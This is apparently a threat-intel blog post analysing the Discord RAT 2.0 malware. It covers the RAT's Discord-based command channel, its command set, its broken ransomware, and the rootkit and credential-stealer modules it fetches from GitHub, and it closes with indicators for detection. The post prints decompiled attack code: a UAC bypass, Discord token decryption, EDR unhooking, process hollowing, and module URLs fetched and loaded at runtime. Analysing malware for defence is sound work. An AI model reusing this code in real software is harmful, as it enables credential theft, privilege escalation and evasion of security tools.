Discord RAT 2.0: When Your C2 is a Chat Server
Reverse-engineering moom825's Discord RAT 2.0: Discord WebSocket C2, 50 ! commands, a ransomware module that only encrypts one byte, and a modular loader that pulls r77-rootkit and the BlackNET password stealer off GitHub at runtime.
The Setup
A new builder-generated sample landed in the threat intel feed today. The file is named Client-Built.exe, which turns out to be the default stub output of a well-known open-source crimeware builder. At 89.6 KB, it is clean, unobfuscated, and fully readable once you point ILSpy at it. What you find inside is a feature-complete remote administration tool that uses Discord’s own WebSocket gateway as its command-and-control channel, an architecture that lets the operator manage victims through a Discord server while blending in with the billion-dollar platform’s legitimate traffic.
This post tears apart the sample end to end: how it establishes its session, every command it understands, the five remote modules it pulls at runtime, where its implementation fails, who built the pieces it copied, and the detection artifacts you can use to hunt it.
Sample Properties
| Field | Value |
|---|---|
| File name | Client-Built.exe |
| SHA-256 | 18c79efc9dea7a878ddf0071cd76313afa342855df5c709c6f18883599bc64b9 |
| MD5 | 10bda41342b01245e36bcec9824d97bc |
| File size | 89,600 bytes |
| Format | PE32+, .NET 4.8 (x86-64) |
| Compiler timestamp | 2046-09-02 (forged, far-future) |
| Obfuscation | None |
| Namespace | Discord_rat |
| Assembly GUID | 7c38fd3b-41e1-43ff-87e3-2f3ef6e2596d |
| Family | Discord RAT 2.0 (moom825) |
Kill Chain
C2 Architecture: Discord as Infrastructure
The binary connects to Discord’s WebSocket gateway at startup and uses the platform as a bidirectional command channel. This is a deliberate choice: Discord traffic traverses port 443, carries a trusted TLS certificate, and most corporate proxies and endpoint tools treat it as benign SaaS.
The gateway URL embedded in the binary has a typo that persists from the original source repository:
1
2
3
await client.ConnectAsync("wss://gateway.discord.gg/?v=9&encording=json");
// ^^^^^^^^^
// typo in upstream source
Discord ignores the unknown query parameter, so it works. The typo is a reliable YARA fingerprint.
After connecting, the client authenticates using a hardcoded bot token with a Gateway Identify payload (opcode 2). The identity is disguised as a Chrome browser on Linux:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static async Task login(string token)
{
string text = DictionaryToJson(new Dictionary<object, object>
{
{ "op", 2 },
{
"d",
new Dictionary<object, object>
{
{ "token", token },
{ "intents", 32767 }, // all intents
{
"properties",
new Dictionary<object, object>
{
{ "os", "linux" },
{ "browser", "chrome" },
{ "device", "chrome" }
}
}
}
}
});
await client.SendMessageAsync(text);
}
Once authenticated, the client joins a specific Discord guild (server) whose ID is baked into the binary. It creates a new text channel named session-N (where N is the next available integer), then announces the new victim to everyone in the server:
1
2
3
4
5
6
7
8
string message = string.Format(
"@everyone :white_check_mark: New session opened {0} | User: {2} | IP: {1} | Admin: {3}",
"session-" + biggest,
await getip(),
Environment.UserName,
new WindowsPrincipal(WindowsIdentity.GetCurrent())
.IsInRole(WindowsBuiltInRole.Administrator).ToString()
);
The extracted configuration from this sample:
| Config field | Value |
|---|---|
| Bot token | MTA4MDk4MTIyMDY1OTI5ODM1Nw[.]Ge9WdI[.][REDACTED_HMAC] |
| Guild ID | 1080979971050319872 |
| Gateway | wss://gateway[.]discord[.]gg/?v=9&encording=json |
The bot token is stored in a settings class with no encryption or obfuscation:
1
2
3
4
5
internal class settings
{
public static string Bottoken = "MTA4MDk4MTIyMDY1OTI5ODM1Nw[.]Ge9WdI[.][REDACTED_HMAC]";
public static string Guildid = "1080979971050319872";
}
Command Set
The operator interacts through Discord messages prefixed with !. The command dispatcher is a switch statement on the first token of the message. There are 50 commands implemented. Below is a categorized breakdown.
Recon and Discovery
| Command | Action |
|---|---|
!admincheck | Reports whether the process is elevated |
!idletime | Returns GetLastInputInfo idle time in seconds |
!datetime | Returns system date/time |
!geolocate | Calls geolocation-db[.]com/json and returns a Google Maps link |
!listprocess | Enumerates all running processes |
!dir | Lists current directory |
!currentdir | Returns current working directory |
!cd <path> | Changes working directory |
Collection
| Command | Action |
|---|---|
!screenshot | Captures primary screen via GDI CopyFromScreen, sends as PNG |
!clipboard | Returns clipboard text via Clipboard.GetText() |
!webcampic | Captures webcam frame (loads Webcam.dll from GitHub) |
!getcams | Lists available webcam devices |
!password | Extracts saved browser credentials (loads PasswordStealer.dll) |
!grabtokens | Harvests Discord user tokens (loads Token grabber.dll) |
!robloxcookie | Reads HKCU\Software\Roblox\RobloxStudioBrowser\roblox.com\.ROBLOSECURITY |
File Operations
| Command | Action |
|---|---|
!download <path> | Uploads file from victim to Discord (or file.io if >7.5 MB) |
!upload <file> | Writes Discord attachment to specified path on victim |
!uploadlink <url> <dest> | Fetches URL and saves to victim path |
!delete <path> | Deletes a single file |
!deletefolder <path> | Recursively deletes folder contents |
!deleteallfiles | Deletes 77 file types from all drives, skipping system folders |
Execution and Interaction
| Command | Action |
|---|---|
!shell <cmd> | Runs via cmd.exe /C, returns stdout |
!voice <text> | SpeechSynthesizer.Speak() plays text-to-speech on victim speakers |
!audio <attachment> | Plays WAV/audio attachment via SoundPlayer |
!write <text> | Types text on the active window using SendKeys.SendWait() |
!message <text> | Pops a MessageBox.Show() dialog |
!website <url> | Opens URL via Process.Start() |
!prockill <name> | Kills all processes matching name |
!block / !unblock | Blocks/unblocks keyboard and mouse via BlockInput |
!wallpaper <img> | Sets desktop wallpaper via SystemParametersInfo |
!shutdown / !restart / !logoff | Power control |
Persistence and Privilege Escalation
| Command | Action |
|---|---|
!startup | Adds to startup (scheduled task if admin, Run key if not) |
!uacbypass | Hijacks %windir% environment variable, triggers SilentCleanup scheduled task |
The UAC bypass is the classic %windir% + SilentCleanup technique:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static async Task uacbypass(string path, string channelid)
{
// Set %windir% to the payload path so SilentCleanup auto-elevates it
Environment.SetEnvironmentVariable("windir",
"\"" + path + "\" ;#",
EnvironmentVariableTarget.User);
Process.Start(new ProcessStartInfo {
FileName = "SCHTASKS.exe",
Arguments = "/run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I",
// ...
});
await Task.Delay(1500);
// Restore windir after elevation
Environment.SetEnvironmentVariable("windir",
Environment.GetEnvironmentVariable("systemdrive") + "\\Windows",
EnvironmentVariableTarget.User);
}
Persistence keys use the $77 prefix, which also appears in the rootkit configuration:
- Non-admin:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77Client-Built.exe - Admin: SCHTASKS
/tn "$77Client-Built.exe" /sc onlogon /rl HIGHEST
Defense Evasion
| Command | Action |
|---|---|
!disabledefender | powershell Add-MpPreference -ExclusionPath "C:\\" |
!disablefirewall | NetSh Advfirewall set allprofiles state off |
!disabletaskmgr | Sets HKCU\...\Policies\System\DisableTaskMgr = 1 |
!enabletaskmgr | Removes the above value |
!critproc | Calls NtSetInformationProcess(ProcessBreakOnTermination=1); killing the process triggers a BSOD |
!uncritproc | Removes critical process flag |
!rootkit | Loads rootkit.dll from GitHub, registers PID and path in HKLM\SOFTWARE\$77config |
Destructive Capabilities
Fake Ransomware (!ransomware)
The ransomware command is the most talked-about feature and the most broken one. Files are renamed to <original>.WANNACRY and encrypted with Rijndael:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void EncryptFileFunction(string inputFile, string outputFile)
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
byte[] bytes = Encoding.UTF8.GetBytes("HAIROAHSJURNCBYE"); // key
byte[] bytes2 = Encoding.UTF8.GetBytes("HAIROAHSJURNCBYE"); // IV, same as key
using FileStream stream = new FileStream(outputFile, FileMode.Create);
using ICryptoTransform t = rijndaelManaged.CreateEncryptor(bytes, bytes2);
using CryptoStream cs = new CryptoStream(stream, t, CryptoStreamMode.Write);
using FileStream fileStream = new FileStream(inputFile, FileMode.Open);
for (int i = 0; i < 1; i++) // BUG: loop runs exactly once
{
int num = fileStream.ReadByte();
cs.WriteByte((byte)num); // only the first byte is encrypted
}
}
File.Delete(inputFile);
}
The loop bound i < 1 means exactly one byte of each file is encrypted. The original file is then deleted and replaced with a one-byte ciphertext file. The victim’s data is not recoverable from the .WANNACRY output, but it was not encrypted either, it was simply destroyed. There is no ransom demand, no key storage, no decryption path. This is a wiper pretending to be ransomware.
BSOD (!bluescreen)
1
2
3
4
5
6
7
8
9
10
public static void Bluescreen()
{
RtlAdjustPrivilege(19, true, false, out var _); // SeShutdownPrivilege
NtRaiseHardError(
0xC0000374u, // STATUS_HEAP_CORRUPTION
0u, 0u,
IntPtr.Zero,
6u, // OptionAbortRetryIgnore -> forces immediate BSOD
out var _);
}
Modular DLL Loading
The password stealer, webcam capture, Discord token grabber, and rootkit are not embedded. They are fetched at runtime from the public GitHub repository and loaded via Assembly.Load():
1
2
3
4
5
6
7
8
public static Dictionary<string, string> dll_url_holder = new Dictionary<string, string>
{
{ "password", "https://raw.githubusercontent.com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/PasswordStealer.dll" },
{ "rootkit", "https://raw.githubusercontent.com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/rootkit.dll" },
{ "unrootkit", "https://raw.githubusercontent.com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/unrootkit.dll" },
{ "webcam", "https://raw.githubusercontent.com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/Webcam.dll" },
{ "token", "https://raw.githubusercontent.com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/Token%20grabber.dll" }
};
Modules are cached in dll_holder after the first load so subsequent commands do not re-fetch.
External Validation and Operator Attribution
Cross-Referencing Public Threat Intel
The static analysis above was validated against independent public reporting:
| Source | Date | Relevance |
|---|---|---|
| SANS Internet Storm Center (Xavier Mertens) | 2025-05-07 | Analyzed sample 9cac561e2da992f974286bdb336985c1ee550abd96df68f7e44ce873ef713f4e, same family, different build. Confirms the five-module GitHub architecture. |
| Luca Kuechler’s Blog | independent | Confirms Discord WebSocket gateway C2, module fetch URLs, Defender bypass. Their sample carried a different operator token (MTEzNTM5NDcwMTk3ODEwODAxNg.GtdDHG.<redacted>), demonstrating this builder has many operators. |
| BleepingComputer (Abaddon) | 2020-10-23 | Precursor Discord C2 RAT from MalwareHunterTeam. Abaddon introduced the concept of Discord-gateway C2 but is a separate codebase; Discord RAT 2.0 (released Aug 2022) is the direct descendant. |
| ReversingLabs: npm node-hide-console-windows | 2024-10 (initial), 2025-10 (follow-up) | Documents Discord RAT 2.0 being dropped by a weaponized npm package. Also catalogs a separate but contemporaneous Discord-C2 family tree (UwUdisRAT, STD RAT, Minecraft RAT, Propionanilide RAT, all attributed to “STD Group”). The STD-Group family is written in C++ and is not the same lineage as moom825’s C# Discord RAT 2.0 despite surface similarities. |
| Cyfirma: Discord-based RAT | undated | Covers a Python-based Discord RAT, distinct lineage. |
Luca’s writeup renders the gateway URL as encoding=json (corrected in prose), but the raw upstream source at moom825/Discord-RAT-2.0/Discord rat/Program.cs carries the typo encording=json verbatim, which this sample faithfully reproduces.
The Builder Ecosystem
Discord RAT 2.0 is not attributed to a named APT, group, or criminal brand. It is commodity crimeware originating from a public GitHub repository (github.com/moom825/Discord-RAT-2.0, 630 stars, 146 forks as of April 2026, last release 2.0 dated August 2022). The author labels it “educational.” In practice, every public sandbox submission of the builder output is flagged as malicious.
Each victim sample carries the specific operator’s Discord bot token and guild ID, so attribution is per-campaign: the sample tells you who is running that instance, not who wrote the tool. Multiple unrelated operators use the same stub binary.
This Operator’s Infrastructure (snowflake decode)
Discord snowflake IDs embed the UNIX creation timestamp in the upper 42 bits. Decoding the burned-in identifiers from this sample:
1
2
3
DISCORD_EPOCH = 1420070400000 # 2015-01-01 UTC
def snowflake_to_date(sf):
return datetime.fromtimestamp(((sf >> 22) + DISCORD_EPOCH) / 1000, tz=timezone.utc)
| Artifact | Value | Decoded |
|---|---|---|
| Guild ID | 1080979971050319872 | Created 2023-03-02 22:28:28 UTC |
Bot user ID (from token prefix MTA4MDk4MTIyMDY1OTI5ODM1Nw base64-decoded to 1080981220659298357) | see decode | Bot account created 2023-03-02 22:33:26 UTC |
Token issued/rotated (second segment Ge9WdI is base64 of Unix_ts - 1293840000) | 435115636 + 1293840000 | Token issued 2024-10-15 01:27:16 UTC |
Timeline of this operator:
- 2023-03-02 22:28 UTC: Operator creates Discord server for C2
- 2023-03-02 22:33 UTC: Operator registers bot (4 min 58 s later, same session)
- 2024-10-15 01:27 UTC: Operator rotates the bot token (sample must have been built after this moment)
- 2026-04-21: Sample appears in the live feed, ~18 months after the token was issued
Infrastructure Status Check (at time of analysis)
Two Discord API probes (no authentication, no disruptive actions) confirm the operator has been burned:
1
2
3
4
5
GET /api/v10/users/@me (with Authorization: Bot <token>)
-> HTTP 401 Unauthorized (token revoked or bot account terminated)
GET /api/v10/guilds/{guild_id}/widget.json
-> HTTP 10004 "Unknown Guild" (server deleted or T&S banned)
Discord Trust & Safety or the operator themselves has already pulled down both the token and the guild. Any sandbox detonation performed after this point will not capture outbound Discord gateway traffic, because the WebSocket handshake fails before any MESSAGE_CREATE events arrive. This explains the ANY.RUN reports of this family where no Discord API calls were observed in traffic capture; the bot was already dead when the sandbox booted it.
Dynamic Analysis Observations (from related samples)
Because this specific operator’s C2 is dead, live behavioral signals must be drawn from sibling samples of the same builder. Public ANY.RUN reports of Discord RAT 2.0 consistently show:
raw.githubusercontent.comDNS lookups (module fetch)- TLS connections to
gateway.discord.gg(port 443) after ~2 s delay discord.comAPI calls to/api/v{9,10}/channels/<id>/messagesgeolocation-db.comreverse-lookup on first beacon- Write to
HKCU\...\Run\$77<filename>when executed without admin SCHTASKS.exeinvocation when executed with admin
None of this requires the operator’s token to be live. The Discord DNS lookups and the first WebSocket connect happen unconditionally.
Distribution Vectors (historically observed)
Discord RAT 2.0 has been observed in the wild via:
- “Free Discord Nitro” social-engineering: direct DMs linking to a builder stub renamed to match the lure (BleepingComputer, 2020-2023).
- Weaponized npm packages:
node-hide-console-windowsdropping a Discord RAT 2.0 stub (ReversingLabs, October 2024). - Cracked software bundles and game cheats: the builder-default
Client-Built.exename appears inside pirated-software zip archives on forums. - Discord invite hijacking: multi-stage chains that start from hijacked Discord invite links (Check Point Research, 2025).
The sample analyzed here does not itself contain a dropper or loader, so it was almost certainly delivered by one of the above wrappers that was not captured by the feed.
Remote Module Analysis
The five modules fetched from the moom825 GitHub repo at runtime are publicly downloadable. Pulling and decompiling all five reveals that the “Discord RAT 2.0” label is doing a lot of work here. Most of the dangerous functionality is not moom825’s code at all. It is a lightly-glued collection of other people’s offensive tooling, reachable by Assembly.Load(byte[]) reflection from a public GitHub URL.
Module Inventory
| Module | SHA-256 | Size | Format | What it actually is |
|---|---|---|---|---|
PasswordStealer.dll | ae8abf10e555cee9769abea0e2d3379b11bc6a817f75a0b6038d294fa3d6a136 | 53 KB | .NET x86 | BlackNET Password Stealer Plugin (copyright “Black.Hacker, 2021”, company “DarkSoftwareCo”), not original code. |
Token grabber.dll | a3ca8d72edaf4ffb84a38e88a31f9e537d7d7b76f7cc7966583c7b4b4a811c74 | 2.8 MB | .NET x86 | Discord token grabber with 22 browser targets and full BouncyCastle bundled in for AES-GCM. |
Webcam.dll | 965494b6b3574b5e7afd2cdfdaf42813a3034a37f5309daf5afee63401894da2 | 39 KB | .NET x64 | Thin wrapper over the AForge.Video.DirectShow library. |
rootkit.dll | 8fdae5b4490183c9057a684f0ac2f82dd5c8911cb2f43a54ff47a9ad6e93952a | 223 KB | .NET x86 | Process-hollowing stager that drops r77-rootkit (bytecode77) into dllhost.exe. |
unrootkit.dll | 4350a69f2630214a7b079e41e3ac2d7c5759a622a0cd1227ba12eee06d758d9a | 3.3 MB | .NET x86 | Same stager architecture, carries the r77 uninstaller payload. |
PasswordStealer.dll -> BlackNET-derived
The assembly metadata is not subtle:
1
2
3
4
[assembly: AssemblyCopyright("Copyright (c) Black.Hacker - 2021")]
[assembly: AssemblyDescription("BlackNET Password Stealer Plugin")]
[assembly: AssemblyCompany("DarkSoftwareCo")]
[assembly: Guid("983ae28c-91c3-4072-8cdf-698b2ff7a967")]
This is the credential-stealing plugin from the BlackNET malware-as-a-service family, not moom825-authored code. The namespace PasswordStealer.ChromeRecovery handles Chromium credential extraction via DPAPI unwrap of the Local State encryption key.
Token grabber.dll -> DPAPI + AES-GCM harvester of 22 apps
The grabber enumerates 22 Chromium-based browsers and Discord variants, reads their LevelDB Local Storage, and extracts Discord authentication tokens. The target list is stored as base64-encoded paths to make grep-style detection harder:
| Discord clients | Chromium browsers |
|---|---|
| Discord (Stable) | Chrome, Chrome SxS, Edge, Brave, Opera Stable, Opera GX, Opera Neon, Yandex, Vivaldi, Epic Privacy Browser |
| Discord PTB | Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran |
| Discord Canary | |
| Discord Development |
For each browser, the grabber reads .ldb files under \Local Storage\leveldb\ and runs three regex patterns against the raw contents:
1
2
3
Regex regex = new Regex("[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}"); // unencrypted v1 token
Regex regex2 = new Regex("mfa\\.[\\w-]{84}"); // MFA-bound token
Regex regex3 = new Regex("(dQw4w9WgXcQ:)([^.*\\['(.*)'\\].*$][^\"]*)"); // encrypted v2 token
The dQw4w9WgXcQ: prefix is the marker Discord inserts before its DPAPI+AES-GCM-encrypted token blobs. (Yes, that string is the YouTube video ID for “Never Gonna Give You Up”, a rickroll joke preserved in Discord’s own client code.)
When it finds an encrypted token, it decrypts it in two steps:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private static byte[] Decryptkey(string path)
{
// Read Local State JSON, pull os_crypt.encrypted_key, base64-decode,
// skip the 5-byte "DPAPI" prefix, unwrap with ProtectedData.Unprotect.
return ProtectedData.Unprotect(
Convert.FromBase64String(
(string)ObjectToDictionary(
JsonToDictionary(File.ReadAllText(path))["os_crypt"])["encrypted_key"])
.Skip(5).ToArray(),
null, DataProtectionScope.CurrentUser);
}
private static string DecryptToken(byte[] buffer, string localstate_path)
{
byte[] ciphertext = buffer.Skip(15).ToArray(); // skip 3-byte prefix + 12-byte nonce
AeadParameters parameters = new AeadParameters(
new KeyParameter(Decryptkey(localstate_path)),
128, // 128-bit auth tag
buffer.Skip(3).Take(12).ToArray(), // 12-byte nonce
null);
GcmBlockCipher gcm = new GcmBlockCipher(new AesEngine());
gcm.Init(forEncryption: false, parameters);
// ... DoFinal and return UTF-8
}
Each recovered token is then validated against discord.com/api/v9/users/@me before being returned to the C2; the module discards dead tokens so it only exfiltrates live sessions. BouncyCastle is bundled because .NET Framework 4.x lacks native AES-GCM.
Webcam.dll -> AForge DirectShow wrapper
A benign-looking wrapper around the open-source AForge.NET video library. It enumerates FilterCategory.VideoInputDevice, excludes software-only capture devices ("@device:sw" MonikerString prefix), connects to the selected camera, grabs a single JPEG frame and returns the bytes. Assembly GUID dbae6a6e-ae23-4de9-9ab2-6a8d2cd59def.
rootkit.dll -> r77 stager with EDR unhooking and PPID spoofing
This is the deepest discovery in the bundle. The “rootkit” module is not itself a rootkit. It is a loader that deploys the r77-rootkit by bytecode77, a ring-3 process-hiding rootkit. The .NET stager performs three distinct steps.
Step 1: Unhook ntdll/kernel32 from disk. Before any syscalls, the stager reads the on-disk copy of ntdll.dll and kernel32.dll, parses the PE, finds the .text section, and memcpys the clean bytes over the in-memory copy to strip any inline EDR hooks:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public unsafe static void UnhookDll(string name)
{
string path = (Is64Bit && IntPtr.Size == 4) ? "C:\\Windows\\SysWOW64\\" : "C:\\Windows\\System32\\";
IntPtr module = GetModuleHandle(name);
// Map clean on-disk copy, walk section headers, locate .text
for (short i = 0; i < numberOfSections; i++)
{
if (sectionName.StartsWith(".text"))
{
VirtualProtect(baseInMemory + rva, size, PAGE_EXECUTE_READWRITE, out old);
memcpy(baseInMemory + rva, diskMap + rva, size); // stomp hooks
VirtualProtect(baseInMemory + rva, size, old, out _);
}
}
}
Step 2: Decrypt and decompress the embedded native payload. The .NET resources InstallService32 and InstallService64 are encrypted with a custom rolling-XOR scheme and then gzipped. The decryption routine is naively implemented:
1
2
3
4
5
6
7
8
9
10
11
private static byte[] Decrypt(byte[] data)
{
int num = BitConverter.ToInt32(data, 0); // seed = first 4 bytes as signed int32
byte[] array = new byte[data.Length - 4];
for (int i = 0; i < array.Length; i++)
{
array[i] = (byte)(data[i + 4] ^ (byte)num);
num = (num << 1) | (num >> 31); // "rotate", but >> is arithmetic on signed int
}
return array;
}
Because C# right-shifts of signed integers are arithmetic (sign-extending), as soon as the seed’s high bit flips to 1 the rotation degenerates to num = 0xFFFFFFFF permanently. From that byte onward every ciphertext byte is XORed with 0xFF, which is a one-byte XOR “cipher”. Decryption requires emulating this C# semantic quirk; a pure rotate-left gives the wrong output. After decryption, the plaintext is gzip-compressed (1F 8B 08).
Decrypting and decompressing both resources yields the actual r77 payloads:
| Resource | Size after decrypt+gunzip | SHA-256 |
|---|---|---|
InstallService32 | 194,560 B (PE32) | e240adf28ad0667a9ddc4947ae18c26e8ee3aa9cb4d4aab08e16c9b7e73736ef |
InstallService64 | 245,248 B (PE32+) | 24c5036e3e00a14093ada6e6e35581f100b3991f95ad2a393ac047d76a29e0b3 |
Both carry PDB paths that confirm the family:
1
2
3
4
A:\Code\GitHub\r77-rootkit\vs\Release\InstallService32.pdb
A:\Code\GitHub\r77-rootkit\vs\Release\r77-x86.pdb
A:\Code\GitHub\r77-rootkit\vs\x64\Release\InstallService64.pdb
A:\Code\GitHub\r77-rootkit\vs\x64\Release\r77-x64.pdb
These are the unmodified r77 release binaries from bytecode77’s GitHub repository, built on drive A:.
The rootkit.dll assembly itself is not moom825-authored code either. Its PDB path reads A:\Code\GitHub\r77-rootkit\vs\InstallStager\obj\Release\InstallStager.pdb. The .NET stager is literally the InstallStager C# project from inside bytecode77’s own r77-rootkit source tree, recompiled as a DLL instead of an EXE. moom825 shipped this module by renaming InstallStager.dll to rootkit.dll and hosting it on GitHub. The .NET code, the embedded native payload, and the decryption routine are all bytecode77’s, including the signed-shift bug in the XOR routine.
Step 3: PPID-spoofed process hollowing into dllhost.exe. The stager calls CreateProcess("dllhost.exe", "/Processid:{GUID}", ..., CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT) with an updated PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute pointing at winlogon.exe’s handle. This makes the child’s parent PID field in EPROCESS point to winlogon, not to the .NET host that actually started it, a defence-evasion trick that confuses tree-walking EDR visualisations. After the suspended dllhost is created, the stager does standard RunPE process hollowing:
1
2
3
4
5
6
7
NtUnmapViewOfSection(dllhost, originalImageBase);
NtAllocateVirtualMemory(dllhost, originalImageBase, sizeOfImage, RWX);
NtWriteVirtualMemory(dllhost, originalImageBase, r77PayloadHeaders + sections);
NtGetContextThread(thread, ctx);
// patch PEB ImageBaseAddress + set EIP/RIP to r77 entry point
NtSetContextThread(thread, ctx);
NtResumeThread(thread);
The COM “Processid” command-line argument is a random GUID, chosen to look like a real COM Surrogate invocation in Process Explorer.
unrootkit.dll -> r77 uninstaller, compiled by “maxim”
Same three-step stager, but carrying a different pair of payloads: r77’s uninstall tool. These payloads have a very different provenance from the install payloads. Their PDB paths read:
1
2
C:\Users\maxim\Desktop\project windows + android\rootkit\r77-rootkit-master\r77-rootkit-master\vs\Debug\Uninstall.pdb
C:\Users\maxim\Desktop\project windows + android\rootkit\r77-rootkit-master\vs\x64\Debug\Uninstall64.pdb
The install-side binaries came from A:\Code\GitHub\r77-rootkit\, bytecode77’s own build drive, per the r77 repo release artifacts. The uninstall-side binaries are debug-mode rebuilds from r77-rootkit-master\r77-rootkit-master\ (the tell-tale zip-file double directory you get when you download a GitHub master zip and extract it), on a local machine whose Windows user profile is maxim. The folder name “project windows + android” suggests a side project, not a clean r77 checkout.
The reasonable reading is that moom825 (or a contributor) didn’t have a pre-built Uninstall.exe from bytecode77, so someone named maxim compiled it themselves from the r77-rootkit master zip in debug mode and committed the resulting binary. The operator OPSEC here is quite poor: a Windows username is now permanently embedded in every victim who runs !unrootkit, reachable via a single strings scan of the decrypted resource.
The Uninstall payloads also import Microsoft Detours-style strings (“Client hook allocation failure at file %hs line %d.”), consistent with r77’s use of Detours for its ring-3 API hooks.
Module Fetch Chain of Custody
The full compromise chain, module-by-module:
- The victim runs
Client-Built.exe(moom825’s builder stub). - The stub connects to Discord, awaits
!password,!grabtokens,!webcampic, or!rootkit. - On first use of each, the stub does an HTTPS GET to
raw.githubusercontent.com/moom825/Discord-RAT-2.0/master/Discord rat/Resources/<module>.dll. - The bytes are handed to
Assembly.Load(). They never touch disk and the module’s exported type is instantiated via reflection. - For rootkit/unrootkit, the loaded .NET module then unpacks its embedded native r77 payload, unhooks ntdll, PPID-spoofs winlogon, and process-hollows
dllhost.exe.
The entire chain hinges on the GitHub repo moom825/Discord-RAT-2.0 remaining available. If GitHub honors a takedown, steps 3-5 break and the stub loses credential theft, webcam capture, and the rootkit entirely. The shell, screenshot, clipboard, wallpaper, BSOD, wiper and “ransomware” features would still work because they are implemented directly in the stub.
Code Weaknesses
CW-001: Fake ransomware only encrypts one byte. The for (int i = 0; i < 1; i++) loop in EncryptFileFunction runs exactly once, writing one byte to the output file. All file content beyond the first byte is silently discarded. Victims lose their data but cannot pay to recover it because there is nothing to decrypt.
CW-002: Rijndael key and IV are identical. Using the same value for both key and IV (HAIROAHSJURNCBYE) nullifies the IV’s role in CBC chaining. This is a basic cryptographic error.
CW-003: Bot token stored in plaintext. The settings class holds the bot token and guild ID as string literals with no encoding or obfuscation. Any analyst can extract the token within seconds and enumerate or disrupt the attacker’s C2 server.
CW-004: Modules fetched from a public, removable GitHub repo. If GitHub removes moom825/Discord-RAT-2.0 (or the releases), the password stealer, rootkit, and webcam modules become permanently inaccessible. The core RAT continues to function, but its most dangerous capabilities go offline.
CW-005: encording typo in gateway URL. This trivial misspelling from the original codebase is preserved in every build and provides a string-level YARA signature that is unlikely to appear in legitimate software.
CW-006: Debug console output left in ReceiveLoop. Console.WriteLine("e1") fires on every received WebSocket frame. Behaviour-based sandboxes can fingerprint this.
CW-007: Signed-shift bug in rootkit XOR cipher. The (num << 1) | (num >> 31) line in rootkit.dll’s Decrypt() is intended to be a rotate-left, but C# arithmetic right shifts on negative int32 yield -1. Once the seed’s high bit flips, every subsequent byte is XORed with 0xFF. The “cipher” collapses to a one-byte XOR within at most 8 iterations. Analysts must emulate the bug to decrypt, not write a textbook ROL.
CW-008: Operator PDB paths leak Windows usernames. The Uninstall payloads inside unrootkit.dll carry PDB references to C:\Users\maxim\Desktop\project windows + android\rootkit\.... This Windows profile name is embedded in every victim that runs !unrootkit.
IOC Appendix
Hashes
| Type | Value |
|---|---|
| Stub SHA-256 | 18c79efc9dea7a878ddf0071cd76313afa342855df5c709c6f18883599bc64b9 |
| Stub MD5 | 10bda41342b01245e36bcec9824d97bc |
| Stub SHA-1 | 8ed3079ed05871a55b5c43a09da0c3accc711eb1 |
| PasswordStealer.dll | ae8abf10e555cee9769abea0e2d3379b11bc6a817f75a0b6038d294fa3d6a136 |
| Token grabber.dll | a3ca8d72edaf4ffb84a38e88a31f9e537d7d7b76f7cc7966583c7b4b4a811c74 |
| Webcam.dll | 965494b6b3574b5e7afd2cdfdaf42813a3034a37f5309daf5afee63401894da2 |
| rootkit.dll | 8fdae5b4490183c9057a684f0ac2f82dd5c8911cb2f43a54ff47a9ad6e93952a |
| unrootkit.dll | 4350a69f2630214a7b079e41e3ac2d7c5759a622a0cd1227ba12eee06d758d9a |
| InstallService32.exe (decrypted) | e240adf28ad0667a9ddc4947ae18c26e8ee3aa9cb4d4aab08e16c9b7e73736ef |
| InstallService64.exe (decrypted) | 24c5036e3e00a14093ada6e6e35581f100b3991f95ad2a393ac047d76a29e0b3 |
| Uninstall32.exe | 2a55b2edd020f1821fcb4028869fe72571910263188972ff1c7bbd927da447f5 |
| Uninstall64.exe | 3f8e67521bbcdd48454f3443b0e4bd9699b334be7061efc3bbb84ffe88b04d36 |
Network Indicators (defanged)
| Indicator | Purpose |
|---|---|
wss://gateway[.]discord[.]gg/?v=9&encording=json | C2 WebSocket gateway |
hxxps://discord[.]com/api/v9/channels/{id}/messages | Command and exfil |
hxxps://discord[.]com/api/v9/users/@me | Token validation (Token grabber module) |
hxxps://geolocation-db[.]com/json | Victim IP geolocation |
hxxps://file[.]io/ | Overflow exfil for files >7.5 MB |
hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2[.]0/master/Discord%20rat/Resources/PasswordStealer[.]dll | Module fetch |
hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2[.]0/master/Discord%20rat/Resources/rootkit[.]dll | Module fetch |
hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2[.]0/master/Discord%20rat/Resources/Webcam[.]dll | Module fetch |
hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2[.]0/master/Discord%20rat/Resources/Token%20grabber[.]dll | Module fetch |
Registry Keys
1
2
3
4
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77Client-Built.exe
HKLM\SOFTWARE\$77config\pid
HKLM\SOFTWARE\$77config\paths
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr
Discord C2 Config (burned in binary)
1
2
Bot Token : MTA4MDk4MTIyMDY1OTI5ODM1Nw[.]Ge9WdI[.][REDACTED_HMAC]
Guild ID : 1080979971050319872
Operator OPSEC Leak
1
2
Windows profile name: maxim
Working folder : C:\Users\maxim\Desktop\project windows + android\rootkit\r77-rootkit-master\
File Artifacts
1
<victim_file>.WANNACRY Encrypted (destroyed) victim files, 1 byte of ciphertext each
MITRE ATT&CK Mapping
| Technique | ID | Tactic |
|---|---|---|
| Registry Run Keys / Startup Folder | T1547.001 | Persistence |
